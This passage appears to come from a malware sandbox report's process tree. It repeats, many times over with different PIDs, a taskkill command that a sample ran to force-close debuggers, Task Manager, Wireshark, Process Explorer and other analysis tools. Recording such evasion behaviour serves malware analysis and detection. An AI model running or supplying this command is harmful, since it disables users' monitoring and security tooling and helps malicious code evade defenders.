        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:2300
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:828
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:640
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:1152
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:2288
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3748
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:496
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1700
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3844
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4892
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3324
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3236
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3240
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4788
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:2588
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1748
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4884
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3044
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:2196
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4716
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1172
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:836
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1248
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4792
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3208
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:5096
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:2628
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:2780
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4548
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3348
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:4744
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3892
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3644
      - C:\Windows\system32\taskkill.exe
        
